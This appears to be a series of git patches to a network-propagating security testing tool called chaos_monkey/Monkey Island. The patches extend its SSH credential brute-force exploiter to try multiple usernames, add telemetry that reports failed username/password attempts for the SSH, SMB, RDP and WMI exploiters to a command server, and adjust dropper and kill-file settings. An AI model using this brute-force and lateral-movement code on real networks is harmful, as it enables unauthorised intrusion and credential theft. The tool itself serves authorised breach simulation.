From dfb8b8b812c5f9a465062ecbb9ae5df2e2e811d8 Mon Sep 17 00:00:00 2001 From: acepace Date: Thu, 28 Jul 2016 11:22:02 +0300 Subject: [PATCH 1/8] Added local network scan to default configuration --- chaos_monkey/example.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3fcb6adf7..999126901 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -29,6 +29,7 @@ ], "alive": true, "collect_system_info": true, + "local_network_scan": true, "dropper_date_reference_path": "/bin/sh", "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", From d466824a0c470b7c5f6df2b5ba7e6597762406b3 Mon Sep 17 00:00:00 2001 From: acepace Date: Thu, 28 Jul 2016 11:22:21 +0300 Subject: [PATCH 2/8] Fixed Pyinstaller versioning --- chaos_monkey/readme.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/readme.txt b/chaos_monkey/readme.txt index e9db2293b..47b3def84 100644 --- a/chaos_monkey/readme.txt +++ b/chaos_monkey/readme.txt @@ -49,7 +49,7 @@ Linux (Tested on Ubuntu 12.04): sudo pip install paramiko sudo pip install psutil sudo pip install netifaces - sudo pip install https://github.com/pyinstaller/pyinstaller/releases/download/3.0.dev2/PyInstaller-3.0.dev2.tar.gz + sudo pip install PyInstaller sudo apt-get install winbind 2. Put source code in /home/user/Code/monkey/chaos_monkey 3. To build, run in terminal: From fbd8e5dfa1a14b4bbbb17044e3be324cf6d2e2c3 Mon Sep 17 00:00:00 2001 From: acepace Date: Sun, 31 Jul 2016 14:31:13 +0300 Subject: [PATCH 3/8] Removed Kali service. Unsupported --- monkey_island/linux/kali/monkey-island.service | 9 --------- monkey_island/linux/kali/monkey-mongo.service | 9 --------- 2 files changed, 18 deletions(-) delete mode 100644 monkey_island/linux/kali/monkey-island.service delete mode 100644 monkey_island/linux/kali/monkey-mongo.service diff --git a/monkey_island/linux/kali/monkey-island.service b/monkey_island/linux/kali/monkey-island.service deleted file mode 100644 index b996af5df..000000000 --- a/monkey_island/linux/kali/monkey-island.service +++ /dev/null @@ -1,9 +0,0 @@ -[Unit] -Description=Monkey Island Service - -[Service] -WorkingDirectory=/var/monkey_island/cc -ExecStart=/usr/bin/python main.py - -[Install] -WantedBy=multi-user.target diff --git a/monkey_island/linux/kali/monkey-mongo.service b/monkey_island/linux/kali/monkey-mongo.service deleted file mode 100644 index 29be3b3f6..000000000 --- a/monkey_island/linux/kali/monkey-mongo.service +++ /dev/null @@ -1,9 +0,0 @@ -[Unit] -Description=Monkey Island Mongo Service - -[Service] -WorkingDirectory=/var/monkey_island/ -ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --dbpath db - -[Install] -WantedBy=multi-user.target From 1c5ec3086f708a2058a00743e14b7cf377d6bb47 Mon Sep 17 00:00:00 2001 From: acepace Date: Sun, 31 Jul 2016 14:33:13 +0300 Subject: [PATCH 4/8] Change default server to non-sense IP to force override. Must never be localhost. --- chaos_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 721b3d9a2..897488794 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -143,7 +143,7 @@ class Configuration(object): #Configuration servers to try to connect to, in this order. command_servers = [ - "127.0.0.1:5000" + "41.50.73.31:5000" ] # sets whether or not to locally save the running configuration after finishing From 39a208afc3b7b2a65629ffc15b875c0b5a9526b7 Mon Sep 17 00:00:00 2001 From: acepace Date: Sun, 31 Jul 2016 14:33:48 +0300 Subject: [PATCH 5/8] Added local kill switch to flow, right after loading configuration. --- chaos_monkey/config.py | 4 ++-- chaos_monkey/example.conf | 5 ++--- chaos_monkey/main.py | 6 ++++++ 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 897488794..76ed1480b 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -106,8 +106,8 @@ class Configuration(object): ########################### # Kill file ########################### - kill_file_path_windows = os.path.expandvars("%temp%\~df4150.tmp") - kill_file_path_linux = '/tmp/user-4150' + kill_file_path_windows = os.path.expandvars("%windir%\monkey.not") + kill_file_path_linux = '/var/run/monkey.not' ########################### # monkey config diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 999126901..14fb05ee0 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -36,9 +36,8 @@ "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", "dropper_target_path_linux": "/bin/monkey", - - "kill_path_linux": "/tmp/user-4150", - "kill_path_windows": "%temp%\\~df4150.tmp", + "kill_path_linux": "/var/run/monkey.not", + "kill_path_windows": "%windir%\monkey.not", "dropper_try_move_first": false, "exploiter_classes": [ "SSHExploiter", diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index ee360ac34..6689ad3e7 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -66,6 +66,12 @@ def main(): print "Loaded Configuration: %r" % WormConfiguration.as_dict() + #Make sure we're not in a machine that has the kill file + kill_path = WormConfiguration.kill_file_path_windows if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + if os.path.exists(kill_path): + print "Kill path found, finished run" + return True + try: if MONKEY_ARG == monkey_mode: log_path = os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" else WormConfiguration.monkey_log_path_linux From d75ce529ab13d9d70abfddcc51cca94c437c5985 Mon Sep 17 00:00:00 2001 From: acepace Date: Mon, 8 Aug 2016 22:25:33 +0300 Subject: [PATCH 6/8] Issue #18, added ability to attack multiple users in SSH brute force. Also fixed small bug in windows kill path parsing. --- chaos_monkey/config.py | 2 +- chaos_monkey/example.conf | 6 ++++-- chaos_monkey/exploit/sshexec.py | 30 +++++++++++++++++------------- 3 files changed, 22 insertions(+), 16 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 659fade3d..99512cc53 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -194,7 +194,7 @@ class Configuration(object): psexec_passwords = ["Password1!", "1234", "password", "12345678"] # ssh exploiter - ssh_user = "root" + ssh_users = ["root"] ssh_passwords = ["Password1!", "1234", "password", "12345678"] # rdp exploiter diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6fc61261f..cbaa0e42a 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -39,7 +39,7 @@ "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", "dropper_try_move_first": false, "exploiter_classes": [ "SSHExploiter", @@ -69,7 +69,9 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "ssh_user": "root", + "ssh_user": [ + "root" + ], "local_network_scan": true, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index 717fc9bae..c299062af 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -1,12 +1,13 @@ import paramiko -import monkeyfs import logging +import time +from itertools import product +import monkeyfs from tools import build_monkey_commandline from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey from network.tools import check_port_tcp -import time __author__ = 'hoffer' @@ -43,31 +44,34 @@ class SSHExploiter(HostExploiter): return False passwords = list(self._config.ssh_passwords[:]) - known_password = host.get_credentials(self._config.ssh_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + users = list(self._config.ssh_users) + known_passwords = [host.get_credentials(x) for x in users] + if len(known_passwords) > 0: + for known_pass in known_passwords: + if known_pass in passwords: + passwords.remove(known_pass) + passwords.insert(0, known_pass) #try first + user_pass = product(users,passwords) exploited = False - for password in passwords: + for user, curpass in user_pass: try: ssh.connect(host.ip_addr, - username=self._config.ssh_user, - password=password, + username=user, + password=curpass, port=port, timeout=None) LOG.debug("Successfully logged in %r using SSH (%s : %s)", - host, self._config.ssh_user, password) - host.learn_credentials(self._config.ssh_user, password) + host, user, curpass) + host.learn_credentials(user, curpass) exploited = True break except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, - self._config.ssh_user, password, exc) + user, curpass, exc) continue if not exploited: From 8f1669dd4462b0e95b88a790f015e80dc936a614 Mon Sep 17 00:00:00 2001 From: acepace Date: Tue, 9 Aug 2016 00:23:18 +0300 Subject: [PATCH 7/8] Added functionality to report all brute force password attempts even if unsuccessful. --- chaos_monkey/exploit/rdpgrinder.py | 5 ++++- chaos_monkey/exploit/smbexec.py | 7 +++++-- chaos_monkey/exploit/sshexec.py | 3 ++- chaos_monkey/exploit/tools.py | 7 +++++++ chaos_monkey/exploit/wmiexec.py | 8 +++++++- 5 files changed, 25 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index abc9afe7b..0685ffd59 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -13,7 +13,7 @@ from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from model.host import VictimHost from network.tools import check_port_tcp from exploit.tools import get_target_monkey -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -295,6 +295,9 @@ class RdpExploiter(HostExploiter): exploited = True host.learn_credentials(self._config.psexec_user, password) break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e4e33a0d9..616a2a195 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -6,7 +6,7 @@ from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey from network import SMBFinger -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login try: from impacket import smb @@ -88,9 +88,12 @@ class SmbExploiter(HostExploiter): host.learn_credentials(self._config.psexec_user, password) exploited = True break + else: + #failed exploiting with this user/pass + report_failed_login(self, host, self._config.psexec_user, password) except Exception, exc: - LOG.debug("Error logging into victim %r with user" + LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, self._config.psexec_user, password, exc) continue diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index c299062af..fdd9fee51 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -3,7 +3,7 @@ import logging import time from itertools import product import monkeyfs -from tools import build_monkey_commandline +from tools import build_monkey_commandline,report_failed_login from exploit import HostExploiter from model import MONKEY_ARG from exploit.tools import get_target_monkey @@ -72,6 +72,7 @@ class SSHExploiter(HostExploiter): LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, user, curpass, exc) + report_failed_login(self,host,user,curpass) continue if not exploited: diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 7654abb30..11b55e46d 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -415,3 +415,10 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth return cmdline + + +def report_failed_login(exploiter, machine, user, password): + from control import ControlClient + ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, + 'exploiter': exploiter.__class__.__name__, + 'user':user,'password':password}) \ No newline at end of file diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 86a34e5c5..30c281c12 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -6,7 +6,8 @@ from tools import build_monkey_commandline from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model.host import VictimHost from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey +from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login +from impacket.dcerpc.v5.rpcrt import DCERPCException LOG = logging.getLogger(__name__) @@ -49,6 +50,11 @@ class WmiExploiter(HostExploiter): LOG.debug("Failed connecting to %r using WMI with password '%s'", host, password) continue + except DCERPCException, exc: + report_failed_login(self, host, self._config.psexec_user, password) + LOG.debug("Failed connecting to %r using WMI with password '%s'", + host, password) + continue except socket.error, exc: LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", host, password, exc) From 1e13671ebd4f01b6e56596a36f298ba4a5523181 Mon Sep 17 00:00:00 2001 From: acepace Date: Tue, 9 Aug 2016 19:20:39 +0300 Subject: [PATCH 8/8] Fully marked python dependencies --- .../deb-package/monkey_island_pip_requirements.txt | 14 +++++++++----- monkey_island/requirements.txt | 14 +++++++++----- 2 files changed, 18 insertions(+), 10 deletions(-) diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey_island/deb-package/monkey_island_pip_requirements.txt index bcff42515..149f8667f 100644 --- a/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -1,7 +1,11 @@ +python-dateutil +tornado +werkzeug +jinja2 +markupsafe +itsdangerous +click +bson flask Flask-Pymongo -Flask-Restful -python-dateutil -impacket -pycrypto -tornado \ No newline at end of file +Flask-Restful \ No newline at end of file diff --git a/monkey_island/requirements.txt b/monkey_island/requirements.txt index bcff42515..149f8667f 100644 --- a/monkey_island/requirements.txt +++ b/monkey_island/requirements.txt @@ -1,7 +1,11 @@ +python-dateutil +tornado +werkzeug +jinja2 +markupsafe +itsdangerous +click +bson flask Flask-Pymongo -Flask-Restful -python-dateutil -impacket -pycrypto -tornado \ No newline at end of file +Flask-Restful \ No newline at end of file